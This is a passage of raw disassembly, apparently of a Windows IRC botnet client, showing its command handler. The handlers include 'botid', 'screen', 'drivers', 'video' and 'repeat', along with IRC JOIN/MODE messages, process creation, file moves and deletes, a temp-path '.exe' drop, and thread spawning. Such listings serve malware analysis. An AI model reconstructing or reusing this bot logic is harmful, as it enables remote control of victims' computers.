loc_412835: ; CODE XREF: sub_40EC43+3C00j
push 32h
call dword_423064 ; Sleep
loc_41283D: ; CODE XREF: sub_40EC43+3BDFj
cmp [ebp+var_6C4], ebx
jz short loc_412835
jmp loc_41198E
; ---------------------------------------------------------------------------
loc_41284A: ; CODE XREF: sub_40EC43+3B28j
push offset unk_435F70
jmp loc_411980
; ---------------------------------------------------------------------------
loc_412854: ; CODE XREF: sub_40EC43+2529j
; sub_40EC43+2540j
push [ebp+arg_18]
push edi
call dword_42316C ; MoveFileA
test eax, eax
jz short loc_412881
push [ebp+arg_18]
lea eax, [ebp+var_2EC]
push edi
push offset unk_435F38
push 200h
push eax
call sub_41752A
jmp loc_414471
; ---------------------------------------------------------------------------
loc_412881: ; CODE XREF: sub_40EC43+3C1Dj
push offset dword_435F1C
call sub_40A863
push eax
lea eax, [ebp+var_2EC]
push 200h
push eax
call sub_41752A
add esp, 10h
jmp loc_41198E
; ---------------------------------------------------------------------------
loc_4128A5: ; CODE XREF: sub_40EC43+24FBj
; sub_40EC43+2512j
push edi
lea eax, [ebp+var_1654]
push 104h
push eax
call sub_41752A
add esp, 0Ch
cmp [ebp+var_C], ebx
jz short loc_4128DF
push [ebp+arg_18]
push [ebp+var_C]
call sub_417580
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4128DF
push eax
lea eax, [ebp+var_1550]
push eax
call sub_416FB6
pop ecx
pop ecx
loc_4128DF: ; CODE XREF: sub_40EC43+3C7Aj
; sub_40EC43+3C8Bj
push [ebp+var_8C]
lea eax, [ebp+var_16D4]
push 80h
push eax
call sub_41752A
mov eax, [ebp+arg_4]
mov [ebp+var_16D8], eax
mov eax, [ebp+var_4]
mov [ebp+var_1448], eax
mov eax, [ebp+var_8]
mov [ebp+var_1444], eax
lea eax, [ebp+var_1550]
push eax
lea eax, [ebp+var_1654]
push eax
push offset unk_435EDC
lea eax, [ebp+var_2EC]
push 200h
push eax
call sub_41752A
push ebx
lea eax, [ebp+var_2EC]
push 1Ch
push eax
call sub_416A7A
add esp, 2Ch
mov [ebp+var_144C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_16D8]
push ebx
push eax
push offset sub_408C12
push ebx
push ebx
call dword_4230A0 ; CreateThread
mov ecx, [ebp+var_144C]
imul ecx, 234h
cmp eax, ebx
mov dword_44457C[ecx], eax
jnz short loc_4129A4
call dword_42308C ; RtlGetLastWin32Error
push eax
push offset unk_435E90
loc_412988: ; CODE XREF: sub_40EC43+A55j
; sub_40EC43+A7Bj ...
lea eax, [ebp+var_2EC]
push eax
call sub_416FB6
add esp, 0Ch
jmp loc_40F594
; ---------------------------------------------------------------------------
loc_41299C: ; CODE XREF: sub_40EC43+3D67j
push 32h
call dword_423064 ; Sleep
loc_4129A4: ; CODE XREF: sub_40EC43+3D37j
cmp [ebp+var_1440], ebx
jz short loc_41299C
jmp loc_40F594
; ---------------------------------------------------------------------------
loc_4129B1: ; CODE XREF: sub_40EC43+24CDj
; sub_40EC43+24E4j
push 44h
lea eax, [ebp+var_330]
pop esi
push esi
push ebx
push eax
call sub_417030
mov [ebp+var_330], esi
xor esi, esi
inc esi
push edi
mov [ebp+var_304], esi
mov word ptr [ebp+var_300], bx
call sub_41751F
add esp, 10h
cmp eax, esi
jnz short loc_4129EE
mov word ptr [ebp+var_300], 5
loc_4129EE: ; CODE XREF: sub_40EC43+3DA0j
cmp [ebp+var_C], ebx
jz loc_4115BE
push [ebp+arg_18]
push [ebp+var_C]
call sub_417580
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz loc_4115BE
lea eax, [ebp+var_CC4]
push eax
lea eax, [ebp+var_330]
push eax
push ebx
push ebx
push 28h
push esi
push ebx
push ebx
push edi
push ebx
call dword_423120 ; CreateProcessA
test eax, eax
lea eax, [ebp+var_2EC]
jnz short loc_412A3F
push offset unk_435E5C
jmp loc_410E2E
; ---------------------------------------------------------------------------
loc_412A3F: ; CODE XREF: sub_40EC43+3DF0j
push edi
push offset dword_435E34
jmp loc_4115B5
; ---------------------------------------------------------------------------
loc_412A4A: ; CODE XREF: sub_40EC43+249Fj
; sub_40EC43+24B6j
push [ebp+arg_18]
push offset aBotid ; "botid"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_412BBD
lea eax, [ebp+var_AC4]
push eax
push 104h
call dword_42312C ; GetTempPathA
push 0FFh
lea eax, [ebp+var_F74]
push edi
push eax
call sub_418910
lea eax, [ebp+var_CD0]
push eax
call sub_415762
push eax
lea eax, [ebp+var_AC4]
push eax
lea eax, [ebp+var_E74]
push offset aSS_exe ; "%s%s.exe"
push eax
call sub_416FB6
mov eax, [ebp+esi+var_88]
add esp, 20h
cmp eax, ebx
mov [ebp+var_D70], 1
mov [ebp+var_D6C], ebx
jz short loc_412ADC
push 10h
push ebx
push eax
call sub_41873B
add esp, 0Ch
mov [ebp+var_D64], eax
jmp short loc_412AE2
; ---------------------------------------------------------------------------
loc_412ADC: ; CODE XREF: sub_40EC43+3E83j
mov [ebp+var_D64], ebx
loc_412AE2: ; CODE XREF: sub_40EC43+3E97j
mov esi, [ebp+esi+var_84]
cmp esi, ebx
jz short loc_412AFC
push esi
call sub_41751F
pop ecx
mov [ebp+var_D68], eax
jmp short loc_412B02
; ---------------------------------------------------------------------------
loc_412AFC: ; CODE XREF: sub_40EC43+3EA8j
mov [ebp+var_D68], ebx
loc_412B02: ; CODE XREF: sub_40EC43+3EB7j
movzx eax, [ebp+var_95B]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_8C]
mov [ebp+var_D60], eax
lea eax, [ebp+var_FF4]
mov [ebp+var_FF8], esi
push eax
call sub_418910
mov eax, [ebp+var_4]
push edi
mov [ebp+var_D58], eax
mov eax, [ebp+var_8]
mov [ebp+var_D5C], eax
lea eax, [ebp+var_2EC]
push offset unk_435DEC
push eax
call sub_416FB6
push esi
lea eax, [ebp+var_2EC]
push 17h
push eax
call sub_416A7A
add esp, 24h
mov [ebp+var_D74], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_FF8]
push ebx
push eax
push offset sub_40C90D
push ebx
push ebx
call dword_4230A0 ; CreateThread
mov ecx, [ebp+var_D74]
imul ecx, 234h
cmp eax, ebx
mov dword_44457C[ecx], eax
jnz short loc_412BB0
call dword_42308C ; RtlGetLastWin32Error
push eax
push offset unk_435DA0
jmp loc_4115AF
; ---------------------------------------------------------------------------
loc_412BA8: ; CODE XREF: sub_40EC43+3F73j
push 32h
call dword_423064 ; Sleep
loc_412BB0: ; CODE XREF: sub_40EC43+3F52j
cmp [ebp+var_D54], ebx
jz short loc_412BA8
jmp loc_4115BE
; ---------------------------------------------------------------------------
loc_412BBD: ; CODE XREF: sub_40EC43+3E18j
push offset unk_435D48
jmp loc_410E28
; ---------------------------------------------------------------------------
loc_412BC7: ; CODE XREF: sub_40EC43+2471j
; sub_40EC43+2488j
push [ebp+var_90]
push offset dword_437B40
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_40F098
cmp [ebp+var_C], ebx
jz loc_40F098
push [ebp+arg_18]
push [ebp+var_C]
call sub_417580
push eax
lea eax, [ebp+var_2EC]
push [ebp+var_8C]
push [ebp+var_90]
push [ebp+var_94]
push offset dword_435D38
push eax
call sub_416FB6
lea eax, [ebp+var_2EC]
push 1FFh
push eax
push [ebp+arg_0]
call sub_418910
push edi
call sub_41751F
add esp, 30h
test eax, eax
jle short loc_412C4E
push edi
call sub_41751F
imul eax, 3E8h
pop ecx
push eax
call dword_423064 ; Sleep
loc_412C4E: ; CODE XREF: sub_40EC43+3FF5j
push offset dword_435D14
call sub_40BD8D
mov eax, [ebp+arg_24]
pop ecx
inc eax
jmp loc_40F09B
; ---------------------------------------------------------------------------
loc_412C62: ; CODE XREF: sub_40EC43+2443j
; sub_40EC43+245Aj
push [ebp+var_90]
push offset dword_437B40
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_40F098
cmp [ebp+var_C], ebx
jz loc_414CDE
push [ebp+arg_18]
push [ebp+var_C]
call sub_417580
mov esi, eax
mov eax, [ebp+arg_18]
inc eax
push offset aRepeat ; "repeat"
push eax
call sub_4173D0
add esp, 10h
test eax, eax
push esi
lea eax, [ebp+var_2EC]
jz short loc_412D1E
push [ebp+var_8C]
push [ebp+var_90]
push [ebp+var_94]
push offset dword_435D38
push eax
call sub_416FB6
lea eax, [ebp+var_2EC]
push 1FFh
push eax
push [ebp+arg_0]
call sub_418910
push esi
lea eax, [ebp+var_2EC]
push offset dword_435CE4
push eax
call sub_416FB6
lea eax, [ebp+var_2EC]
push eax
call sub_40BD8D
push edi
call sub_41751F
add esp, 38h
test eax, eax
jle loc_414CDE
push edi
call sub_41751F
add eax, [ebp+arg_24]
pop ecx
jmp loc_40F09B
; ---------------------------------------------------------------------------
loc_412D1E: ; CODE XREF: sub_40EC43+406Aj
push offset dword_435CA0
jmp loc_4133BB
; ---------------------------------------------------------------------------
loc_412D28: ; CODE XREF: sub_40EC43+2415j
; sub_40EC43+242Cj
push [ebp+arg_18]
lea eax, [ebp+var_2EC]
push offset dword_435C98
push eax
call sub_416FB6
push edi
call sub_41751F
add esp, 10h
loc_412D45: ; CODE XREF: sub_40EC43+4169j
test eax, eax
jle loc_414CDE
push edi
call sub_41751F
cmp eax, 1F4h
pop ecx
jge loc_414CDE
loc_412D5F: ; CODE XREF: sub_40EC43+4C9Bj
lea eax, [ebp+var_2EC]
push eax
push offset dword_4275E0
push edi
call sub_41751F
imul eax, 234h
pop ecx
push dword_444574[eax]
call sub_40D430
jmp loc_414958
; ---------------------------------------------------------------------------
loc_412D88: ; CODE XREF: sub_40EC43+23E7j
; sub_40EC43+23FEj
push [ebp+esi+var_88]
lea eax, [ebp+var_2EC]
push [ebp+arg_18]
push offset dword_435C8C
push eax
call sub_416FB6
push edi
call sub_41751F
add esp, 14h
jmp short loc_412D45
; ---------------------------------------------------------------------------
loc_412DAE: ; CODE XREF: sub_40EC43+23B9j
; sub_40EC43+23D0j
push [ebp+arg_18]
lea eax, [ebp+var_2EC]
push offset dword_435C84
push eax
call sub_416FB6
push edi
call sub_41751F
add esp, 10h
test eax, eax
jle loc_414CDE
push edi
call sub_41751F
cmp eax, 1F4h
pop ecx
jge loc_414CDE
lea eax, [ebp+var_2EC]
push eax
push offset dword_4275E0
push edi
call sub_41751F
imul eax, 234h
pop ecx
push dword_444574[eax]
call sub_40D430
push [ebp+arg_18]
push edi
push offset dword_435C58
loc_412E12: ; CODE XREF: sub_40EC43+4256j
; sub_40EC43+42C1j ...
call sub_40BE01
jmp loc_414632
; ---------------------------------------------------------------------------
loc_412E1C: ; CODE XREF: sub_40EC43+238Bj
; sub_40EC43+23A2j
cmp [ebp+var_C], ebx
jz loc_414CDE
push [ebp+arg_18]
push [ebp+var_C]
call sub_417580
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_412E4D
push esi
lea eax, [ebp+var_2EC]
push offset dword_435C50
push eax
call sub_416FB6
add esp, 0Ch
loc_412E4D: ; CODE XREF: sub_40EC43+41F3j
push edi
call sub_41751F
test eax, eax
pop ecx
jle loc_414CDE
push edi
call sub_41751F
cmp eax, 1F4h
pop ecx
jge loc_414CDE
lea eax, [ebp+var_2EC]
push eax
push offset dword_4275E0
push edi
call sub_41751F
imul eax, 234h
pop ecx
push dword_444574[eax]
call sub_40D430
push esi
push edi
push offset dword_435C24
jmp loc_412E12
; ---------------------------------------------------------------------------
loc_412E9E: ; CODE XREF: sub_40EC43+235Dj
; sub_40EC43+2374j
cmp [ebp+var_C], ebx
jz loc_414CDE
push [ebp+arg_18]
push [ebp+var_C]
call sub_417580
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_414CDE
push edi
call sub_41751F
test eax, eax
pop ecx
jle loc_414CDE
push edi
call sub_41751F
cmp eax, 1F4h
pop ecx
jge loc_414CDE
push esi
push offset dword_4275E0
push edi
call sub_41751F
imul eax, 234h
pop ecx
push dword_444574[eax]
call sub_40D430
push esi
push edi
push offset dword_435BF8
jmp loc_412E12
; ---------------------------------------------------------------------------
loc_412F09: ; CODE XREF: sub_40EC43+232Fj
; sub_40EC43+2346j
cmp [ebp+var_C], ebx
jz loc_414CDE
push edi
push [ebp+var_C]
call sub_417580
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_414CDE
push esi
push offset aModeS ; "MODE %s\r\n"
push [ebp+arg_4]
call sub_40D430
push esi
push offset dword_435BC0
jmp loc_413ABA
; ---------------------------------------------------------------------------
loc_412F40: ; CODE XREF: sub_40EC43+2301j
; sub_40EC43+2318j
push [ebp+var_90]
push offset dword_437B40
loc_412F4B: ; DATA XREF: .data:off_42D03Co
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz loc_40F098
push [ebp+arg_18]
push offset dword_435BB4
push [ebp+arg_4]
call sub_40D430
push edi
call sub_41751F
imul eax, 3E8h
add esp, 10h
push eax
call dword_423064 ; Sleep
push [ebp+esi+var_88]
push [ebp+arg_18]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_40D430
push offset dword_435B90
call sub_40BD8D
jmp loc_413ABF
; ---------------------------------------------------------------------------
loc_412FA6: ; CODE XREF: sub_40EC43+22D3j
; sub_40EC43+22EAj
cmp [ebp+var_C], ebx
jz loc_414CDE
push edi
call sub_4177B0
push [ebp+arg_8]
mov esi, eax
call sub_4177B0
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+esi+2]
push eax
call sub_417580
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_414CDE
push esi
lea eax, [ebp+var_2EC]
push offset dword_4363CC
push eax
call sub_416FB6
push ebx
lea eax, [ebp+var_2EC]
push ebx
push eax
push edi
push [ebp+arg_4]
call sub_40D476
push esi
push edi
push offset dword_435B64
call sub_40BE01
add esp, 2Ch
jmp loc_414CDE
; ---------------------------------------------------------------------------
loc_413014: ; CODE XREF: sub_40EC43+22A5j
; sub_40EC43+22BCj
cmp [ebp+var_C], ebx
jz loc_414CDE
push edi
call sub_4177B0
push [ebp+arg_8]
mov esi, eax
call sub_4177B0
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+esi+2]
push eax
call sub_417580
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_414CDE
push ebx
push ebx
push esi
push edi
push [ebp+arg_4]
call sub_40D476
push esi
push edi
push offset dword_435B38
call sub_40BE01
loc_413062: ; CODE XREF: sub_40EC43+3005j
add esp, 20h
jmp loc_414CDE
; ---------------------------------------------------------------------------
loc_41306A: ; CODE XREF: sub_40EC43+2277j
; sub_40EC43+228Ej
cmp [ebp+var_C], ebx
jz loc_40F098
push [ebp+arg_18]
push [ebp+var_C]
call sub_417580
pop ecx
cmp eax, ebx
pop ecx
jz loc_40F098
push eax
push edi
call sub_40BC95
push edi
lea eax, [ebp+var_2EC]
push offset dword_435B0C
push eax
call sub_416FB6
add esp, 14h
jmp loc_41166A
; ---------------------------------------------------------------------------
loc_4130A9: ; CODE XREF: sub_40EC43+2237j
; sub_40EC43+224Ej
push edi
push [ebp+arg_1C]
call sub_417580
pop ecx
test eax, eax
pop ecx
jz loc_414CDE
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_413140
push esi
push [ebp+var_C]
call sub_417580
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
lea eax, [ebp+var_2EC]
jz short loc_41312E
push esi
push [ebp+var_8C]
push [ebp+var_90]
push [ebp+var_94]
push offset dword_435D38
push eax
call sub_416FB6
lea eax, [ebp+var_2EC]
push 1FFh
push eax
push [ebp+arg_0]
call sub_418910
push esi
push edi
lea eax, [ebp+var_2EC]
push offset dword_435AD8
push eax
call sub_416FB6
add esp, 34h
inc [ebp+arg_24]
jmp loc_41351E
; ---------------------------------------------------------------------------
loc_41312E: ; CODE XREF: sub_40EC43+4499j
push offset dword_435A98
push eax
call sub_416FB6
pop ecx
pop ecx
jmp loc_41351E
; ---------------------------------------------------------------------------
loc_413140: ; CODE XREF: sub_40EC43+4482j
push ebx
lea eax, [ebp+var_2EC]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_40B9A1
add esp, 0Ch
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D476
push edi
push offset dword_435A70
lea eax, [ebp+var_2EC]
push 200h
push eax
call sub_41752A
add esp, 24h
jmp loc_41351E
; ---------------------------------------------------------------------------
loc_413187: ; CODE XREF: sub_40EC43+2209j
; sub_40EC43+2220j
push offset aScreen ; "screen"
push edi
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4131EA
cmp [ebp+esi+var_8C], ebx
jz short loc_4131D7
push [ebp+esi+var_8C]
call sub_4083F0
cmp eax, 1
pop ecx
lea eax, [ebp+var_2EC]
jnz short loc_4131D0
push [ebp+esi+var_8C]
push offset dword_435A2C
push eax
call sub_416FB6
add esp, 0Ch
jmp short loc_4131EA
; ---------------------------------------------------------------------------
loc_4131D0: ; CODE XREF: sub_40EC43+4574j
push offset dword_4359F0
jmp short loc_4131E2
; ---------------------------------------------------------------------------
loc_4131D7: ; CODE XREF: sub_40EC43+455Cj
push offset dword_4359A8
lea eax, [ebp+var_2EC]
loc_4131E2: ; CODE XREF: sub_40EC43+4592j
push eax
call sub_416FB6
pop ecx
pop ecx
loc_4131EA: ; CODE XREF: sub_40EC43+4553j
; sub_40EC43+458Bj
push offset aDrivers ; "drivers"
push edi
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz loc_413281
mov [ebp+arg_10], ebx
loc_413202: ; CODE XREF: sub_40EC43+4629j
lea eax, [ebp+var_8C0]
push 1FFh
push eax
lea eax, [ebp+var_AC0]
push 0FFh
push eax
push [ebp+arg_10]
call dword_43EB54
test eax, eax
jz short loc_413265
lea eax, [ebp+var_8C0]
push eax
lea eax, [ebp+var_AC0]
push eax
lea eax, [ebp+var_2924]
push [ebp+arg_10]
push offset dword_43596C
push eax
call sub_416FB6
push ebx
lea eax, [ebp+var_2924]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D476
add esp, 28h
loc_413265: ; CODE XREF: sub_40EC43+45E2j
inc [ebp+arg_10]
cmp [ebp+arg_10], 0Ah
jl short loc_413202
lea eax, [ebp+var_2EC]
push offset dword_435938
push eax
call sub_416FB6
pop ecx
pop ecx
loc_413281: ; CODE XREF: sub_40EC43+45B6j
push offset aFrame ; "frame"
push edi
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz loc_413327
cmp [ebp+esi+var_8C], ebx
jz short loc_413314
cmp [ebp+esi+var_88], ebx
jz short loc_413314
cmp [ebp+esi+var_84], ebx
jz short loc_413314
mov eax, [ebp+esi+var_80]
cmp eax, ebx
jz short loc_413314
push eax
call sub_41751F
pop ecx
push eax
push [ebp+esi+var_84]
call sub_41751F
pop ecx
push eax
push [ebp+esi+var_88]
call sub_41751F
pop ecx
push eax
push [ebp+esi+var_8C]
call sub_40862B
add esp, 10h
test eax, eax
lea eax, [ebp+var_2EC]
jnz short loc_41330D
push [ebp+esi+var_8C]
push offset dword_4358F4
push eax
call sub_416FB6
add esp, 0Ch
jmp short loc_413327
; ---------------------------------------------------------------------------
loc_41330D: ; CODE XREF: sub_40EC43+46B1j
push offset dword_4358B0
jmp short loc_41331F
; ---------------------------------------------------------------------------
loc_413314: ; CODE XREF: sub_40EC43+465Aj
; sub_40EC43+4663j ...
push offset dword_435868
lea eax, [ebp+var_2EC]
loc_41331F: ; CODE XREF: sub_40EC43+46CFj
push eax
call sub_416FB6
pop ecx
pop ecx
loc_413327: ; CODE XREF: sub_40EC43+464Dj
; sub_40EC43+46C8j
push offset aVideo ; "video"
push edi
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz loc_4134FD
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
mov [ebp+arg_18], eax
jz loc_4133D3
mov eax, [ebp+esi+var_88]
cmp eax, ebx
mov [ebp+arg_0], eax
jz short loc_4133D3
mov eax, [ebp+esi+var_84]
cmp eax, ebx
mov [ebp+arg_10], eax
jz short loc_4133D3
mov edi, [ebp+esi+var_80]
cmp edi, ebx
jz short loc_4133D3
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz short loc_4133D3
push esi
call sub_41751F
pop ecx
push eax
push edi
call sub_41751F
pop ecx
push eax
push [ebp+arg_10]
call sub_41751F
pop ecx
push eax
push [ebp+arg_0]
call sub_41751F
pop ecx
push eax
push [ebp+arg_18]
call sub_408824
add esp, 14h
test eax, eax
lea eax, [ebp+var_2EC]
jnz short loc_4133C9
push [ebp+arg_18]
push offset dword_435828
loc_4133BB: ; CODE XREF: sub_40EC43+40E0j
push eax
call sub_416FB6
add esp, 0Ch
jmp loc_4134FD
; ---------------------------------------------------------------------------
loc_4133C9: ; CODE XREF: sub_40EC43+476Ej
push offset dword_4357D8
jmp loc_4134F5
; ---------------------------------------------------------------------------
loc_4133D3: ; CODE XREF: sub_40EC43+4705j
; sub_40EC43+4717j ...
push offset dword_435788
lea eax, [ebp+var_2EC]
jmp loc_4134F5
; ---------------------------------------------------------------------------
loc_4133E3: ; CODE XREF: sub_40EC43+1C60j
; sub_40EC43+1C77j
push offset aR ; "r"
push edi
call sub_4176A8
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_41345D
mov ebx, 200h
push esi
lea eax, [ebp+var_2EC]
push ebx
push eax
call sub_418D0C
add esp, 0Ch
jmp short loc_413439
; ---------------------------------------------------------------------------
loc_41340E: ; CODE XREF: sub_40EC43+47F8j
push 1
lea eax, [ebp+var_2EC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D476
push esi
lea eax, [ebp+var_2EC]
push ebx
push eax
call sub_418D0C
add esp, 20h
loc_413439: ; CODE XREF: sub_40EC43+47C9j
test eax, eax
jnz short loc_41340E
push esi
call sub_417600
push edi
lea eax, [ebp+var_2EC]
push offset dword_435750
push eax
call sub_416FB6
add esp, 10h
jmp loc_4115DF
; ---------------------------------------------------------------------------
loc_41345D: ; CODE XREF: sub_40EC43+47B1j
push edi
push offset dword_435720
jmp loc_4115AF
; ---------------------------------------------------------------------------
loc_413468: ; CODE XREF: sub_40EC43+1C32j
; sub_40EC43+1C49j
cmp [ebp+var_C], ebx
jz loc_414CDE
push edi
push [ebp+var_C]
call sub_417580
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_414CDE
push offset asc_4296D4 ; "\n"
push esi
call sub_4176D0
push esi
call sub_40B184
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_2EC]
jnz short loc_4134AB
push offset dword_4356E4
jmp short loc_4134F5
; ---------------------------------------------------------------------------
loc_4134AB: ; CODE XREF: sub_40EC43+485Fj
push esi
push offset dword_4356BC
push eax
call sub_416FB6
add esp, 0Ch
jmp short loc_41351E
; ---------------------------------------------------------------------------
loc_4134BC: ; CODE XREF: sub_40EC43+1C04j
; sub_40EC43+1C1Bj
cmp [ebp+var_C], ebx
jz loc_414CDE
push edi
push [ebp+var_C]
call sub_417580
pop ecx
cmp eax, ebx
pop ecx
jz loc_414CDE
push eax
call sub_40A928
test eax, eax
pop ecx
lea eax, [ebp+var_2EC]
jnz short loc_4134F0
push offset unk_435690
jmp short loc_4134F5
; ---------------------------------------------------------------------------
loc_4134F0: ; CODE XREF: sub_40EC43+48A4j
push offset dword_435664
loc_4134F5: ; CODE XREF: sub_40EC43+478Bj
; sub_40EC43+479Bj ...
push eax
call sub_416FB6
pop ecx
pop ecx
loc_4134FD: ; CODE XREF: sub_40EC43+46F3j
; sub_40EC43+4781j
cmp [ebp+var_8], ebx
jnz short loc_41351E
push ebx
lea eax, [ebp+var_2EC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D476
add esp, 14h
loc_41351E: ; CODE XREF: sub_40EC43+44E6j
; sub_40EC43+44F8j ...
lea eax, [ebp+var_2EC]
push eax
loc_413525: ; CODE XREF: sub_40EC43+1757j
call sub_40BD8D
pop ecx
jmp loc_414CDE
; ---------------------------------------------------------------------------
loc_413530: ; CODE XREF: sub_40EC43+1BD6j
; sub_40EC43+1BEDj
push 7Fh
lea eax, [ebp+var_1974]
push edi
push eax
call sub_418910
mov esi, [ebp+esi+var_8C]
add esp, 0Ch
cmp esi, ebx
jz short loc_41355F
push 7Fh
lea eax, [ebp+var_18F4]
push esi
push eax
call sub_418910
add esp, 0Ch
loc_41355F: ; CODE XREF: sub_40EC43+4908j
push 7Fh
lea eax, [ebp+var_1874]
push [ebp+var_8C]
push eax
call sub_418910
mov eax, [ebp+arg_4]
push edi
mov [ebp+var_1978], eax
mov eax, [ebp+var_8]
mov [ebp+var_17F0], eax
mov eax, [ebp+var_4]
mov [ebp+var_17EC], eax
lea eax, [ebp+var_2EC]
push offset dword_43563C
push eax
call sub_416FB6
push ebx
lea eax, [ebp+var_2EC]
push 15h
push eax
call sub_416A7A
add esp, 24h
mov [ebp+var_17F4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1978]
push ebx
push eax
push offset sub_40BA67
push ebx
push ebx
call dword_4230A0 ; CreateThread
mov ecx, [ebp+var_17F4]
imul ecx, 234h
cmp eax, ebx
mov dword_44457C[ecx], eax
jnz short loc_41360F
call dword_42308C ; RtlGetLastWin32Error
push eax
push offset unk_4355F0
loc_4135F3: ; CODE XREF: sub_40EC43+5BE9j
lea eax, [ebp+var_2EC]
push eax
call sub_416FB6
add esp, 0Ch
jmp loc_4115DF
; ---------------------------------------------------------------------------
loc_413607: ; CODE XREF: sub_40EC43+49D2j
push 32h
call dword_423064 ; Sleep
loc_41360F: ; CODE XREF: sub_40EC43+49A2j
cmp [ebp+var_17E8], ebx
jz short loc_413607
jmp loc_4115DF
; ---------------------------------------------------------------------------
loc_41361C: ; CODE XREF: sub_40EC43+1BA8j
; sub_40EC43+1BBFj
push ebx
push [ebp+var_8C]
push [ebp+arg_4]
push edi
call sub_4061E4
push edi
push offset dword_4355CC
jmp loc_412E12
; ---------------------------------------------------------------------------
loc_413637: ; CODE XREF: sub_40EC43+1B7Aj
; sub_40EC43+1B91j
push 14h
lea eax, [ebp+var_86C]
push ebx
push eax
call sub_417030
push edi
lea eax, [ebp+var_858]
push offset aS_3 ; "%s"
push eax
call sub_416FB6
mov eax, [ebp+arg_4]
mov [ebp+var_874], eax
lea eax, [ebp+var_D4]
push eax
lea eax, [ebp+var_754]
push 80h
push eax
call sub_41752A
mov eax, [ebp+var_4]
mov [ebp+var_6CC], eax
mov eax, [ebp+var_8]
mov [ebp+var_6C8], eax
lea eax, [ebp+var_754]
push eax
lea eax, [ebp+var_858]
push eax
lea eax, [ebp+var_2EC]
push offset dword_435598
push eax
call sub_416FB6
push ebx
lea eax, [ebp+var_2EC]
push 12h
push eax
call sub_416A7A
add esp, 40h
mov [ebp+var_6D0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_874]
push ebx
push eax
push offset sub_40C330
push ebx
push ebx
call dword_4230A0 ; CreateThread
mov ecx, [ebp+var_6D0]
imul ecx, 234h
cmp eax, ebx
mov dword_44457C[ecx], eax
jnz short loc_41370A
loc_4136F1: ; CODE XREF: sub_40EC43+79Dj
call dword_42308C ; RtlGetLastWin32Error
push eax
push offset dword_435550
jmp loc_412988
; ---------------------------------------------------------------------------
loc_413702: ; CODE XREF: sub_40EC43+4ACDj
push 32h
call dword_423064 ; Sleep
loc_41370A: ; CODE XREF: sub_40EC43+4AACj
cmp [ebp+var_6C4], ebx
jz short loc_413702
jmp loc_40F594
; ---------------------------------------------------------------------------
loc_413717: ; CODE XREF: sub_40EC43+1B4Cj
; sub_40EC43+1B63j
push edi
call dword_423158 ; DeleteFileA
test eax, eax
jz short loc_41372A
push edi
push offset dword_435524
jmp short loc_413735
; ---------------------------------------------------------------------------
loc_41372A: ; CODE XREF: sub_40EC43+4ADDj
push offset dword_435F1C
call sub_40A863
push eax
loc_413735: ; CODE XREF: sub_40EC43+4AE5j
lea eax, [ebp+var_2EC]
push 200h
push eax
call sub_41752A
loc_413746: ; CODE XREF: sub_40EC43+4BC7j
add esp, 10h
jmp loc_4115BE
; ---------------------------------------------------------------------------
loc_41374E: ; CODE XREF: sub_40EC43+1B1Ej
; sub_40EC43+1B35j
push edi
call sub_41751F
push eax
call sub_4151A1
xor esi, esi
pop ecx
inc esi
pop ecx
cmp eax, esi
push edi
lea eax, [ebp+var_2EC]
jnz short loc_413771
push offset unk_4354EC
jmp short loc_413776
; ---------------------------------------------------------------------------
loc_413771: ; CODE XREF: sub_40EC43+4B25j
push offset unk_4354A8
loc_413776: ; CODE XREF: sub_40EC43+4B2Cj
push eax
call sub_416FB6
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_4115E2
push ebx
lea eax, [ebp+var_2EC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D476
add esp, 14h
jmp loc_4115E2
; ---------------------------------------------------------------------------
loc_4137A9: ; CODE XREF: sub_40EC43+1AF0j
; sub_40EC43+1B07j
push ebx
push ebx
push edi
push [ebp+var_4]
push ebx
push [ebp+arg_4]
call sub_414F16
add esp, 18h
cmp eax, 1
push edi
jnz short loc_4137CB
push offset unk_435470
jmp loc_4115AF
; ---------------------------------------------------------------------------
loc_4137CB: ; CODE XREF: sub_40EC43+4B7Cj
push offset unk_435430
jmp loc_4115AF
; ---------------------------------------------------------------------------
loc_4137D5: ; CODE XREF: sub_40EC43+1AC2j
; sub_40EC43+1AD9j
push edi
call dword_43EB64 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz short loc_41380F
push 2
